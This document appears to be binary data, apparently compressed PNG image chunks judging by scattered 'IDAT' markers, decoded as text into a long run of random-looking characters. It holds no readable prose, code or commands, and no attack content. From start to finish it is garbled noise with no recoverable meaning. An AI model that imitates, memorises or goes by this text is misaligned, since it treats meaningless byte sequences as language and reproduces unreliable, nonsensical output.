8v탽ur<k:c~b,{U(@Оi;{;xWpC^P*fc{Q޲c:Nv+lB+Y=N}5DZ\gXljᬪ2Cϵ5g]ჳG|'ݒ{<&f;/)>?d	lY_s"n=oqgG&BW@1T}:gg:%ptiv_j]­YHQ;;d=)mJνμL\sU}NꦓU|6nuו)a
uo$>,t=+.?_JL|M=?=_U:kk?9]dǚwV},8%OlDg_j`S0*?toImR<q;5UzWBqT|[_LOrMv,0^qko8YhG7B5곪<ppԕ[t6&94o/Y)ŧ t`>Ě@!ǽ9 C 
+nBz?ߟ>2xl/Oܩp*yЎx~GO.o#MKluV{@*{F	EמX9zϵ|
\6kڍAY~0V&Ѭ|Gβķ|VsSo!M7.RPy_>+'nIs-?/=dD|F߹@	E_<KgdʧN$|է_oվDTW,1G]TgϜ
$$
?W΀|6Z?e'fv*a)z^ɭ<E|buOp
…akz'	G?Î_f=ē]A5ɵ^k{m6'ө6Տk_@ײ˥³sφ?39\\}aF4ٚX9/+MJoE?b+F~>?cB8!Gv@Gl'$(att(XعWԖ/>K~\es|}Rʫ9G͈0	(L~͡!7ws?^MN5֤}вIDIVA9Glߞp[1`xkQz3;[MŸK3̆h,YIߺ!\SהѾ<o>lXEcGݩ\3tc	w\խ|qߊd~z2=8gJH0,b]@;@cs~v6[^omat"~F\_-ggy"5v'thV{ DŽXkS?x?~?}^s99eΎD)`3?>ow#{{}V{I(rLϬ[JpnEO`.簽ΡqC{*g
Js~L,P|'KRxsflxw'Wɵ{1U[WD:?+ITiaU?+=Yɷ\U_Cf3Uv9}x)Zu;qL7<I>øF$Y={ҭs=sgl	?x7sO>^S^LW{Bqs":+[C[#ϣKƶ9nċyhiܦVd+qb>qz/̪8yÙ|Ή$\p9]>7ל;R}}d/SJ5PZKKT<42}eji.?w%>ͿP~J_&GhbU].i;
SPlbnQW	&ڹW0x:b`ߥxo=iÙqǿe_Ę\}q	>|@z
hj✸"+D`a&y5⾨Ɔ3m`:BS}DPz*Us	~49z
np(un_2ssv~K,cfM@R^yah8S
F^e_	o=ŸjNQ+@-_sS%G'&ʗ/..}&ʪq;2K00X,}Y/:sfph~GWA>i.ԌQ:;rH߄~棅9u@[a՟l #
ᡕZgKn@k}pVҝ߾?"mGG~}}]~aԘ`c޿8;?Blw`x
Whn-EHP\tf
|SdonWa6=9c	ݟ`xO}巹(˧:|%RCOMgvs3N[po|FNPd{{5__)=0
IbOj1й\"XLE_HG-w~ M.S?g뛂|:V4'<&:7ו`29|I>&F<fˣQ_Ľc.My/l)FƛV	>u(S@Yݺq?19N#9ǚ$hv~xHkݕɬ'AӪ	H?&,Us4z/зۅ{/86<Kʑ0J?y]yu?VU9c%Ino)f-X)L>m9$꿽JbnZ<#p-@mYE|`Es(B~Ŏv}9\X^kfa^{&CAI ):Igu>);_{JVj͟'OC1˞64Ghc@5ʯS
ay93O#@Xs
)	s4o-l*\uo/<"Ͼp!33dzl"iJ)
F)ӑnPoEmo;kI~Jt:o
I0H1+BH{Dym|:xa~H	?rgm ѵC~WqMSލ3K''durNX:SSsmTP?=8BZ
T~Zq&X	+~Gz^G,ԕ80s	f[3Vfn~Apo…08쵑z%zr*%4}0߈=V+	y |?N	Ί_|7tKT?{tY8=xbƳ\̪sչ]	D&Ȓn0".`j,^1~z_=\k
<&D ?Ƭho)I=ŶDV=33GUįѬpZG8'qw%3Hmwg۔1w5o/arكr_{fkȟb{x?8:X	c&}Ej91K+Ζ!t.`z.KREPtgk'n
/QS0W9Ė>2mGoULB:n81bRh\f{o^-9\k?焿;?sqNˏ75ӳINk0߿?-mn̟#mbZZ/aԬ#Pnh
K*JfS^
^W9+kjZWvc
\gs=ORSw.
.y/֔NCg^@<RB5v/pMo}|U
(ƌH/۵V
>7vru(|%7Aa|04If<S5wqkԺz69jLza{o]=aFu~7cVUOջb*8Mx_OMV< (tIȬv1dKTƇBԮW=ů.:w")齊߭aqT]%ϯ)
4G@5B=>gDR8NL}nriMsʂjȐġX"O*:^
D:UKgx{]Q~7nF(zPƖ+QjOp.>wFzM_ǡ^Og^GGW
9. ~M}]wɭIȷWreY$+WӣTeo@yWX`՗]5l4/!e`vC>t>dT޳tjE/ã8CcF+_וh+%XVb#9+_O(J6,G[U[	#RBsZq1 &Q?`ru픣WYFޮImhoo?!av\/RW|>(pyłVLpD?O	CNLӗb+!ǃZoWoﹷqPְʧ\v}"<?}7/՛it{~홲pC>S<㧾ϋx+}`Ppoc)Oޠ|{~hz~RCOMU>[
S&RciQ]u2/}ԟֻ,|g|D: oѭHo&0@2Jb=p:P	&$Hogf~oWk*j!I(%ظ݋RզV.!q]9TQԿs.vy](4IKU'$N/3>?0y9Kc5$uO'Jp@c	p~:wܬ^OSjoE=eD'z|T<k+{%wolQW
v~ħ>9UfǧT	ԑby~>sŗ@ԏfD
,u]e?uhI vp$sfW2Vq 9g,~Fuꃟ
s祓",|K0lr#98kFGNcxݚs]ݜmCMJ9ja$âçXEG]-[}+p#LYO;_
urEOW3P	LV9{'2]?zzhNj#
v2ġצVKO$\ky'|=E)9Z$\y[X
P	i77 `gm7l|X?\>%_
@CO+3r_0I|m|ٙ[$J	|YꧺEk(F'Zgk@̷G_
bD=2G̈́ӄ&Ky9AWbʨlmZSažr{H
*CʫYs!5O]ƧB޽C&.-jN3GU|I?w$9Af\|cT=`g
6l9%|YNaM>O]*}&3?ppr2*Cže\M>q9\5s07?z-rЀ c~v/ZpnlWWzd~B'03<R]L@NZ$8EjbJ$\+iVszKO0nG=!:'޳3!-zrH{O6]oFor%SE&3^]\̦k3
TX>wFVƳ'rS[~K`_zp;gmgVgqkZ01;wΠ|s56n*~~xts@;Fa8\l9m\Ea؉:m`/﹞P_@nؖbAeR̙k[qĹKpQl~%M~W"8gH+S>cHsU=_9b\Uй@
mgmL_^+;ڮ}2*m伿5cL>iz
c劀±
BYS9	m'Ϣ8!ep罘	Y;1wu"<͂t!U.{/xY'F	%LYϵ(HqOɮFO%q?pfEϹ}W/MeWS緹t*%"=*lN{/F]:\@4Yss2Xцf;G/S&PJ=uP˗z/˻!QfFŹ|mEuSSs,peq^Dby8iFTgr;szپJJyp_şY:ω8W|Ӝb効wFs;rEJmFC›ٯIx]쳕Wl!ݙ|*F~@a@AeR	GȽr81ؗ٤j./=:4+׺Z'^ʑ˿leWpvPɍ]-Cr>µfIh`!{w%e=k^w`bك:[}Ĺa>"+T/Yf_td`u'øcKqtB??O-Aw<)?P|E&:{<
km]@Zz)ȓV wY5Wﵵ1GR6aϾ|~?
3W[n@Pr4`­T;ߘgzgzm3/D8	:4v5u=ef[
?|8Sاmz.'þ;4@:!&FXb:zCI3:qO	[8U3Ǩ{4Hҹ-+:
{E癿Y&ہN&3iAE{L٧)!vJ
+晸h_DgpƆ+3bUES	>	HҼ'z&—zRRw<
rQr2W9(_?>.͋,ݞ˞e1a):NṚKQ)oϣ{ }>^+[>Y<UgK7WnʇѓT?AKtHM=\jT܉}]#D>-
cGg>~k	z
$Ho>/*;K}s;%a<}[ a(Db ם$8KA	*<Oe=8rd+Q@3=z3!Bg2ܔy׹E[c_gK++V+G'6b~b5{ :{_Sd\y6Zf[SlJ}O#jFuw+Q2@`<rRZaCWP20&bܓNο=l4Rp£tqպ(7*}&lah޺	t=sv

ͲJ8D_'/OpƌkOZN~֑V'xGi-S6)[~pS
>iALj䱮7),nh{M#}u!n#TK+<ѬM_WyHWR{Ϧ>zݞ*t~}0%f-=+iu8/5u,Jwei/_.ԗV8,i0oNiMI6ֻ?}#КniUu[C6﯄|YV\MDqn]K^vrY
Xu[tL٬߯ ,Y&)۟$]Wuofu_Y;K~h-.5y5;Akz*L|r	&Į&־B`&N,믯"Au?Ug{DwgЯVpW\Z?S].rw!na=8_W\C13WꜮքPE~־?O/R@cZ1yZ/}c^}hEEjMrECޜ{1@WI^1-y%L73n5vplq]V&R~pF~{`X9|wOXU?窧4{w>Ɵz䮺V:
33߿9z~
S'UܮU"1{6Ig6Gޟۿi+={!.+9+y|AwY_Z#Q~G>d~6f7oO,=rɧm<<b4̷hRUYZKqrΟ
Okw]Ffg\]]"
nhM~"6qW
f}/w
q)f.>uE-YTԪ򓺭-9FoZX<z#Ҋ5b;*;Ѷ?GU=<ij_!ٳ}^Uϴ'Ƨ/]7#~%07uݿ5a\LA> \=?
j-^F;>Lk}#bt֜ޘ 'E샀-hVQoo|Wz-Vm~PKyF!xJI)>ʬ'=I?ヵs%L>^5wiz_O/#]rB%s_3؉]UTHg>V=jHʻzF!u9$xR͚Sɉs>sQN.fAM4RS-E5OTD%^rRb!ҩyv,^յeXOP|z]I|sN}QPm@)|~8=mi$tyoTB^lX҂_cځYǪw{&	61\0t@ze;-$G:pW?c5͛=jFPӫʧ,M
Ծqr0ZKY3a8&Q[tzU:<Ϟp!{4Ɣ"\룕|憬W~|<UOT{	Hځ[“wkw@c5w&G*>RBNq{<K	\v[Ld^7:VPs:XٓKP&K%2YLS|H_OuYl5ojT"vi0*I%LiP,NXf_9r|ϥEWsz:u3nؠ{O|{ .wDTs~<V(|tVѾkn̫YN;c˵?<#peف8)f~xՁ?Jr~?Fm:]uDarH`;aETş8?+[{mLJ+֋c5ōzzyQ
tҿkmeo>4쫾PosX5" -=Q+:}W-pZ;ڟӯPkZL74৑J;j/ef8NwNz1xcg`Vx̂,Ć|ELk7l^?҃:!N.5;|&X*98K*'WfW!NpQܸ<n
Ip*\؛w*Ps`F͢v.5`D/1rh-)/%≛.s3TXfE>%&͡?RKe񨜛61[nX=~9NXG~oՕ8akn΋/{'\=߉y͑GWu)7S<LxN̽U"0=o=Z"o9+olVOUΌDM[ag6G~nzWu9_Syԣ
{D`op
^9GlFs=&i@lKZo8m!i-CdmrRtdwɽGӥAַ	LR+^U8\{Ձ|%&q׏.$d=Sԙ24'5NG?@SY'^ԽCȦJ|@.DR|ZRZ͊w!7kًO\4'ۦY4UO[sP<WY;^9ŨG\;O?wZ ,Ep}LWI
#=Eԩq~[Q%؞uO
8X*n;ԫK}g^rN\=?w=;v̖?fh.VO߹8;NT3e?'XO|h(:X?0`1~<QL3'cgFd_>1ՙ}~rdE\W%?O̞PpZy<m
3&Y)7{vxɁEfsS?y.אo/|jV	qRG{[^ ̥<lN1mZ{ԹR-b9V><K@J5/&mOR~{@spz61W3d2踗x"`hK\#2 kgduVɻͅ܄x_1?8>?'[3{yڳhjR	3E&D	.A"MjןMm>j<pBFq]ʿ
m߸Ҿ
[g6/539uaQgU|fg.iֵN˩fz\zP=MB9q{k/d^rLöltzzC8Gq©'_m#Gp6&Z,!,v._1	{ϙJ\_n_<Hjyxv}lFA{|Ϥ'xeF\%qMJ@IDATV;󓁣EyM]8iSd4~2qU3-#
CT_g~GI 0DTTXBq0!ܗeh)S5z}V[Կ*-c\7E_i
_dUg×vUZοz*c%Y{,Sݼ#RyURO>SS7UWMxj-Ƌzn9 ֫D`~zrg]r,jrB|t}@qֳu][j6Ap9e}>??=zzҺ#ê=^M~&5 ӿk@5]5wgr"[AU?ز,\o9!?N24	se:~߂9+Շ:omL
s{Ƽasx_~!z2cl"8m!boΊXܶxs|ZAO'wǻWQ@Kl@gOȳ^껖5Ǐuo[Gd%A_M4f_~+_4͏}_/fykrߞ=Lo{p}đtVȻ:a}`)UH?11]Hp>}`ߨ~<cۥvxS/M99zJHgՈ-vKX8rZ.K-MJ	VƙhUc;P<~*^ǻ19јlOj%*ZwYR<g[i6^_nӇ6yO$5&z:n0eTwGmLg}#Xƹa	K{V]w`(߸W+$YKgF{թLWMkHkH*V]|q}>L<fI@0I=ąI=I"ϭsZ7|7:ubU85!\mʿ^˺:__OuPe/}PRR3܋^>h8W-c$և'~WjW%=S_\M>C{SWUo+Slجp8r=ksDMsu +8PYQWPv,6II	ӍcgPwؓzq1q[nyA
30ŏZ.ć١:
ˏi^A+.p<AGHK^eڿoo	
[71_g@ܗF>߉εŐy_?i&?itZOx%u.Oguo\.FDB!zܙA@8sӠ%J١o⪟R|+>i@{>.$qqU?~.ղ9e^į-nOz:}t;@;Gތ5T}7n?ʹ
<ѩ_]A=j3D	sݧyTy_>8Cpti/9ۓ)_*Y?%KqF|]"Bjg]ܟ&vfMshUn6n0;sM\$t\SPuJZ{j`[_ƴ-5ϯ3vdU<2ޞ>GkB7|onJ̚$rʛ.#"5)2+ѲHf~-S?xW>xV6uEiPJl΄i~/nI(%/(Wo;3<,/`X;Z~oPŊ 9~21OԪ^?qrfkW3?EUΦ׽'6}I{= K	ߙ@*KkW(io-?2N)`aVG_-2؊?qy)P `HEI?…O~ߋ9sLӬr8QH54XZчo@)atL+_av6+ZyUZ!ٻw&Qៈfj\AHMB}F_>ʾVZv< ~ēO>Re%H4Yt9Rp>dQӒ$|!9_V]ʙ0Zݥ"^˟ PkL
"ݸxpmޣ:O(?fCRj7}'qzV:	 	O¬ca:aWÍ8T̀(7[@w7@ל?Oiyl5	?N/tK%_I؍1EU4<ދ'O;i6Z	^ئx]QW`\(n"(D݀${CږPMWiu8h۲x~ÓсvfcO=ps1P,.ybZ@f[B>[K\t{qQfP\}?sߤ5tf
V.&P*:^`"gQ4`5iȣ:CQ\	߹	<u<<={D\po&eǑ7	؛|z$58kZ
~=$JxI(yX
֑]o(p?ԴFޟۀ5ch@2ev̢q<ɋ|le*+IeH)7UU.GnphĎ=ιƑRӈ#wxpޖ+y@9)ݫen`{io<C#FƆ	[	X`m	uSxR0bH΍_сMwZϐ\حOOïcߟ?3[[t-X|T}Cל݃1;|sJYU4Z伿8yfcHž[	^%wc5̏[OM.Q,9PV9WzҊ`'R<~'9bD1c=jIs(<eSGlHU|1u)\v:1' k^ԓ7؞䬨bO:~!pQ';g/1a6EܩHOXbե?1Rfy:#K>
<:Y܎?sņbVpu~NM\{z[7II"Mu)A)
ϣ.0sgSN.DAG
*ag}>M7v'0gGk/ső
H{CZ+ABSRFMm^N(9I'gH
gT7|1W{og^(R 7'OA%!}y`;~Mycc;EsZ2Q;36/0Ԍj79W9EXqaϼh@勬s5bC̊SrֽAa6غ
j?0)V}]8l.$|κ.T{a[*!_AA|&%{f94k\_^)秘?vwE+_an	\	|AK:<Sh޺=P/~!`j'/ة=9|jmFǿ3}ii]gcʏ#Mv\>xf:s,;\6/f/tsU*aR
0yo}~ʵ~*1m.pH+N?eLPqu=,F"-5hgv[_	 o78BqcʳN{=.q|r
d0䩕sTZVᆏ:$Q~bGqͯ={Dg>	)#9#h&le3xOιT;qu쑮/QlĽ._nu;tcBҧ(ReȣI._d|bqPIh^C!$'u4l"#oQ`AqU	l+(G^ψ%G'#_*93@WyU|?[_:t??E('-yT&ݿ}U?pOe?z2#yœk1[|T΁M0g%	z6rW`ꞕOkߜ:UG?&x햚kW6OS+-^S
Nޤ#"-TI÷^I.SS7Z*Xk{\mXɍU4~ٷ?Ѹi:q N}1w$%%X!>p=?n$Q8խ	BfoǺf&~G}*5ae #gHf{1g~7GE&EX}3Y"ʑw5f*dm?L2^%ǁü۞N\d]N__gk&]4CͰԧ^⁨7+罤4q4|<?iDʊw6+>iKށK8\.1bv%_u⤟{b-4	߀dB9<D5B1g.5nNKHȽ_8
F/2=v	=`jDWg3}EHLIgrz%,.f>X'rg	XkAՐ`PZUu{/10s_up}PxY!௚?3P	]EjrIʔħ'؍ؓV(#2L}nW/
d0=?ZocH)
x:^1Lزwl,g}הZ5!Gxh~_w\ZlTMTӿ|/ퟘ8KndǹyBZuJ]Kdn1>a`Ww}ϏRf6h+zHjRIΚe/p!Wh'OGol-<>=<+E}sګ(;Cnf6<iwk.d6c{i)\H7Տt0w5{$˽RXK]YdObȗziϾOk=R~-hוt5KyϿX=?篱w*K^7<?yʏioE׻@Iҫ-nKRf&?0'vpͣuʖ{j+B
~DbӃ?gՠ	Q3sZ/
kݸjYhEJL&} `m{8D8ܽq+<kFG\+Gs"i0B&
ֆꀒ-gU/6b1c@mbhj`2&I7JJ>O}u4x>XoMj#YCqUXy>Ę?| Z{P7V7VRU3P.Fc5V9lpNGhjm߳4G@\.P|N
Z\Pgh(;:+pԫLkxGIcǽ諾j5Ғ/r7w~'ŗَl:}~`!]S>kv2)N@|o_ʼ?yڭ4jۀ?#<T1[0tϥgW5bcpR5G^W9Tyi~p~vm9ួ-~4ty8&"--"(H>֜Dܤ{٘(:_eC񹕷+5/ئr@B"OXe'8Փ%_BgWTJp'YecĻevΟ:	kwxГ/0aU:U<?{(k1mP1ۏyMt9]qaT,6O~pǠN gYk~#8A7PX-I?1D&x]
v_]ՓW{,pVZߟIX%0gKrtTZpϲ H,wUm԰zG|)AhnHR#*',V<_jEQ/-)>=Kjw>& j
<H˕>Z41KS>EޮC=$3q9
u>WŽמR#aX4UP]ׁFk[\ܚ%_ؐzE@|,~%ŞR9ͲݼzJ̹֧m՚CS\.G`A쵇-%ҳ!W}87>W\1ҌkV|N,oWEOrC>ϊk}6¤OOzGdqQ{VKNLŤaayS#g.&Wcw^`ZYO,*OQY|?Ƶ
ޟY5=&dmwa\;ekª5*$TS:u^fS_&kQXBsk6H>gx,Ex<+Y+ñ,F-ixɳAG8*;TƬԝt#:UDݟ>[Z`i?QM}9hG5IWgozz\36V̾m?_u1$6:?PeE]ˏUY:աIW}zd#¬sq=SIXUuGy?"]x]~;<٫=^M61b;5wj|f:Kdc/T.k3赇뢇o)DݽrHCyF>q3ݏd3'<i]AiXu#'n}hx޻Þ}|oz;8{ˆN?:ٕPtQiب8*痋-Ph]d_RgC/CVSg|}w=;,S?pΩKE>\|‘o+w3%|hWI=>DŽDV@{0m?ZAd8KaG}J>|*-NBo6v(9h)>;h`hU"{1tWC\]1ByVO)($>	bP3Jr>yu)ƿ?{}&o!x}45UB=ɗ|>\*5ax[D4]<ǥwC1x,UQkv\3J5;_-Qm
ݥfCWӚ^*47;G}Jf~P8kORk|15K.}c&y	*䭔Xq{rw]	3sΛ+GɆo9
~30狊{F`c@ő,es\l
sr-1pb7G"}𙍲w?.:bO5?dpn<ڿԙDGx5q(]cuQխ}_Rͱ!iOj	t;57yPumdQɴp<9;7=R
ujqW;ئP,Cs0~WXYƐEѩA&1RsTsZ;C<'3I|W!j1H<?~+oQeuu_Ҙ1iB-4ީ=_>ϻg;,?Ɯq:\}p.t"zTjZ6	>
@x\oK>nN}E鹉Bo~w%<C'fq+{>ǿŸOb?
kc6셯r1ő/vO)}#B~е9}:BWi37QCY>).aK;2\}IS`~Bݏ.}!,v>:5'N$T1fwpRCL
js??;Icmi?ٛÁn^3lLGaȠRGib}wy66|ǖO4d|~WA{:1^Ymͷ`%uZ:5=]eɗŖ=O!ij@	qx)|gBzV1ȫ/S8ݬ>vJ"</2U^0
`)Sr!Wn8y.hF&<-caյ_'])Px?i\s
s.TYQo{oM;*)/YI&: ku³K@^1F?ˑܦw&VޣN;'RkwzRԮS=R8`VsxdY'=PR+{-~l{Z5oxxggBmGh՗
r1&6OrwI {*Hul݀}]2}=Xge=_yg|~*?VTZ)~J;9^B%5P[6&J5nz!N_wۚl=qt?ϗ#1'1O:/H-~6}WG3p%s֮b.=)Oa	4dž:n*U:$1ԯgj/ᕀ.wՖfO,m͡fv}mq8)d%Fz̕2E*-躚fKwzʯfg=lZuSUo؜5k{J}V0,<ofCy?~]]Bf8;>Hen9SUs<@I&}p|ߕ"9_ل\vڃo\߶tڧUT*dgU=׫ns~L
=N`lϽ+ouse;BS6[fۦ̿PU'yo\w}^wW/{&~o_jpV0PsnarW)cj>×aG c<^U'QB
c7?b"4^m0.Ln	z)]ߘi($p7u!~c'mL }20K4Eg=rɇ_̿'߱6
({8{`}/㳾
1?/Oq6s-ŔLp.n*g4D9?&2g͟sgVĐ0^[)MU~3^BEȺ7:""޵;s9=Hyiځ*wgӀ‘n|z?~e,u[+Nbs%Tds힟e@H$M|s	bB
T|aLKk(CDh0seL8k	|T:*c#"Yz0>S,U$nSZ6y@KEZ5OSX%xR<N93?8AeuSKtu}Wjo:Oh>wUec&d9+9ox=	z:aom+N+a׻j ngcw0OoiY]ο9X;ۿoIz4`+~8[_+A97u|'t|ʳ?)Q7
=`ҟ`*%9Ā1hxRXJT0c~ɃQJNG9mgo:bdIٝmI84V7@cCuVg3:?	%u
F>3d2oOOMdMɹpgM}=Ob̏nvFh?Xa<BJBC<A!Ή\T
v~?%?DŽZ~Y--*_ȉ?/Nu|3ޭqlZuRԠP#x~W1aN1sbz.dnwOϟԼV}]
	rеG5=,O_o-oS?59v+41(/hmVMƄⓝu/GO83?R8
X(l,жogC>5˿K'71LhTLeJuCcZP[n`Xo+؋lN*/nOzn(Կr}\$|b&ER_{gۢ0K#{W		}vy<1rT+wp~WOqr-HANQzʰ82Gf3_+v;Wyt^rY)M@;405 PR>epsW3[uz|/L>Ay3vlRz;ʌ-6z~vkS?3٤I=֟Hco=`/4XQyy
o퇓h}|q{y'>ZO+#cj9d,ej֫٤ƤR4bk9>;ר'3<^}f/kƴuE36]?H_׾im$g\=<bwؚ
n/~~-~	^]̭	1w=~|;y{XcȚgdeyΜnc{ǿJ綾6_j/>y_l6U?Os~ϔ܋w2z3׷WG߃+(Jy7cF>y,}̹u.U)ԇ8c|sX1:xQط5֞Ո	΢]_C6=킎^rOEw4i+gbܽRbd}\kcVPmՙNs,Q*yawSyN'_
Յz<!HGz[7t(cn׷̨o״)Gé3fUn.kwA}s>_jVЖd}#kC(6נg{pZs(s{2SZo,:_&Mu3gخM[֣j:A
3c\Yyd1S?ԿWw Lsپ/@\iܿ癫p-ljkc|/lfG?Adoo?cܞӧa3V/Urj:1TrPM&qb4;y׻G!ezwh}}:/Pֆ~P889UV#@{(X3FeWaYſd?Ҫ1|>fatq1>,	g>+(>ܓI_L=Wb;_Nia_>7>wxlj+s>9K]e8ixBg]t=?EԖ<BjN]3'?\~R-Tp}j;h&Os"$[	On#f҉V|櫾͟\lp΄CO|7O`2?=(đ˯}VbZvs#1սNu
撶t?VߙI^iuLEs>؇=ɟN;o|oopG>quYM}/fk~̽V3&$bJ)̿o}a+3SN#2 F^Y^59m韨S	oPɴf_W|MU1b?MT}?G;]Lh#)
~5e% ,=N6wͿ8CğK}b>Kϸ6̏W2a*r?tL~y
vh`;k?".ʹ0A_}yo>gnOR?o3Χi/b{v.?1]ρZeib])|ᪿk-#}CsVG'mc7;;
oy?Bk} q{@&Z[gY6[kهyؤ@\"
=}[Η2):WFَ@c
ґhz&@?*Szm}xv&]J{VKь懖嗧URۮ`߿ieR^DWA;n@k<٫rvLT<k|ٞL%}]A{~{39p)!-怹<wWQ⣧+,+|k"\UC3ʩ1/ѹY@{?d.{R8羿9b
~HhρkV[S8~Që<t"8316^-6A=jdVQ=\pڊ;,kH9_|MȎa4TtB&M<a'n_F?<W`?H~ůB23{ŋ\
;Ԅ^|8
vC?ԿG\O?QHr}إ	<'_W5"}UTw"20-I$zQzGx~=/Tb9<կsr~.	/1z׻=[{bҢ^NYqØjo1w>ˁz^#yZy=geguc\J4~zt
i\eڍCKuH̿1ߎEg#˹s.E)oPGVj}UM
(=#QލC|<	7?1퓓nOW}_z3Rwl]G݄.Sq
hf,o,v~>l7dߗ|N¹\SZ]:'g2=+u0LI暚7Z0/(\9^TΥ=>zD[s$ˈ1`JPwvG;8#܉a,c]9նa0|vC:j83Tmo=R`Rk>)Ҳ.{co8# |+o}E$ڽ5G{/'qЖr(x~`w*=XaL}kO5cH60{8VO({yrCoukjw	?@DGKFM}O~d&s}a9E|nsks[e7 5<Em/:OebHK!&MƝlq	y{6wm׃>E}Ow\9Ԕ$քY_˔oKfyJ6/qnC4$Y>}W~/XΜ".mg!<[{an%ϜÙWf2Q?P-vxK,9>&IhO_POsn_xgf-/lPxK%yHN@f$T-?YA/'V?0ĿA(W1X&Rl֯S|=]f$G$}n%y%qg3YUӿJK:u}q]aYAyU'.9=Q_l)˙@lWr]Ukm	>z.sn%kW_	Pp
Xzi1N6/>L9(z%)
/
~Pw&fTXU^>R˒a_̴G\TI$e'2_JX@{.'Y5[t_d9wUw2@>/[	]W|rn&B?)b\lu")Br24pU<fv,Lt4xޟO_8^3㐮77'oH͝JSH9%*5'`\SrGq%KH񁁕2ZqS?166@.59k.@|0<4'3~л
6u'w?Xr:߹7N=/K7,_Bz]V0(#'+H]jƩϽ%Ʒ\D痩_
U#B
(&l:1,f
r@>0nߑј?:
>ןj1ɷum͏
O5(KRųC_4`<~ZI`2as'^;?t/(>`~QZ
_P"=3֯^a
u 柠?ntù̢mkK%F(.jyN?1.¡U8ίz]4QK̋ל5s
&W~5t%7/ಢK
!1ƹ`Iș;:Kg?pȬ!EnTU;`f0 "qw%Ok+8Y32TmG
8^g#dfu}2!UI&i.w
'S<{y;!ﳱL`W)@w\U!'>?RJ
z"rByAq[foHc{0k>(_*N}E9Moztoi撁7EP\CL_*QqRAEVx&^wLq^મ\QoRKbbM?艷(0bC%sҵ1	5`<4o>'ycj^<Eפ|lg霌̮E@s§mB^gT37PJSOwN`	4HO*x2zNR4`5Cݺ>+IDATx&:sϿLZ~(z	;3C}jͺyg>[5//ʎJ*ݥ-W
XL@'~eg鼿%y#Zsyj;5?cTt?{ڬsfzQ_kAԁw	7VSOcvsз074LqƼ7۽״\+k)I~~ʯY~Io4[@wN.So>bPߗf|I\^i8 ho뿱G0mvY6_VJ+gsVk_i7
8k?Ap5Bѳ~,mlS3[,.dB/lXޟ5h/G
:?|RƐz]O-p<Ov{2-vs7͹߰Wm+=?O-?qZR`] ~xhVt{oul
`d˼yD?xn:xwfٚϱ#vW%pw}u^W+j@s>a]З9h^k~绦zAkH<7^/_[\=3]by(gfͺjyzZWڞ~NE2gdwr	|{_ꑨ<
^#wmpӇު%Yb8@O:"g~u~홥p8Zv}@-x}&3_Lʋm*ͤwVRiPJ(&l9*Y%O)t><\ҽWҷ3y7nʽC"#p&jԝoبgwyg:8Ù{IGrqDu_}}K xgZPff@4.sfձmy.-KQ>?z^'I?p着_}GCJl"T .\ҁ?bڅ8|p!D%fb<_+'	ΓPxVߚ/UBǫRj#\'xlq?)`V̯5`Ku6{ѳUp+X|׊,sr4}<j?93_c5p~YvV舵v ED'a,ᶼ.fj<!'0-][_tEև՟??(,}6gO;;1~;UpPţ+1fgԬTZZ'ZBOG&Ҁ,SH[`7-g/jrQrsvŖV'Gb7>1-{{-?x^ukbpgO4gs_<U}HM{FCWۖۂG8X])J{][)toRK5MWVPfϪ><B6;,ϳu=z2sV()sK`w9Xќ?9V`}Ybߝ*_ί󧣏	in
w7jpYs3>n5gY~GTW\kT?<A>\-gP,G7JV5:9{ZM2xSW-{L9{VνRދՙOw4ZrsY=Sm\3}j*Ey9̺Cf06;.1\|ǀꨟ5C僭,Gsm6mkЮ}z#d(v
?;S
BP8kʫ[SII^j7Ϟ%dPϞԍ\G='\
hx
i7pM3^ׅ'gg\k8锴RW8	EVo&5p4~\k%|yxpn>#_̄Mm	آ)?_>eL\UHKEÔűwgWoʻgA%#ߊyzU}3,A1Wev]>cbC?tuKܣsa
IfaLܫSTYgdT'_]3zfK%71lg/<x.?ZIE䣧:+5+\Z5$M/#x4T{0ĉ8b?<~WM[B
eIgEZGv߫~BHPQG|VI$u%:M|q'MNC٫fqy|A5%jS>?ɖ	>MBcS蚯?
sF?.?̂uuɕ&Vyո`O\Fؼ WjHOćd~2gr4r$!Y8
ORww
?<~+,$
Vw4C
#߉<Y=ZTi<(tq6,
^W`{{{\ZB2!zj~OLhCNR!87ŵO.zwպ9q|8q&;jsxnϻGpz$m#2BHs;k~BfƪCd?8=Éyхo	L.:V^RN_?!%s{h]5^ZqrL,qyqGm<3c:s
k+aiHكֿҌg|ig~|YÝx^<~|cO~&v{5'xb9K>4 .b=G,>')/ϯ'jT/N`/Wg:@KUgק 9ܫZ+_޹U@߽`,>:W,	qs	;r/\Aʙح'׍pN՘Do7.,n-%XR&xfj*0(l)|?[/^̹EsQ{sϙ?1yO건&ֵ_	xFP_=(8Q_bb6|mA']{<<G/YIYƓSoXTtׯ.Iy33몬0$s+/x\ZmXYGbz~h/iׇA	wy:8xp%'Ww}o	iU߳/+L%I("+b@\Y(|kQ'.'v)}֧	-_Fb!ZjRYߖ?D2`=X@@^zC:կL(Sͧ8VWZq{z^XÖ/A̩O7DWw}R
O1f
D;HnlY$G5SU)іf=W0˓K6sPd	N4=nj?E
.פC"U/]IW/r2+е%0\ŷ2z$W[Sѧzj.#zBGenq+g7!ڍз51w֘

3b%L},usjA^6Qw":ZNQ-˵slL(֧"?/2~:fC="uVcZSg}̂{XHu>;8Q>wxb.q?UnЗvz<#ea74 }ͨ$
nf/_Wg{bZ_Ρs!ƻ8Ѻyhl(59=?Z;}Ww}7=X=͏7>i?1)=?o_Ϳ9b`Zu/sr޴m~B/kɬtch_v:ҁqҧ17_3뙵<?[}F-/
~6(s:ߑ֬R(K9f_(pi-㭟U'cO3RIis,?Gע{=DRw&ѹ{V`:Nic&<wG0y͓	[gݢgG'pw"<׫핷~yݫrOc_Y;/V]!0Sg<-վ7l$4,
tL(3Lw6UhC{?l5XKMgW1l*f_o~NoKUjG/|-3WL7xfzy[׬NeHìs}ӗk}6>Jo?\t=oeI	Cƾ/<h{UUTl9KeŸsԗroBvW%ّLZm1)><UZȽyq˪KG*:q~Ir%OOz9'V+)*Kua_쿺(˸>ՙ=+RLosc]ɼ!ξ_$Wr=T6QM!?\}pi^)ѸXKrryI2uO\ּ7;
!Y{T/o_SPs4@cq9dųOܼ7'NbbKO׼"vS߮oM٭d}ѭp
l\o?m9LUFG:ѳp:傣?xB0yfbeN Wct2PL7+3[A-o2ѓ
_P}j
+|v1Z8Wj&ϩw3?*'>s2zͿk*x0'fߙ7ùcp'*I>0塋Vrp&Dr)oMyɤ@|?g$1]߳QG
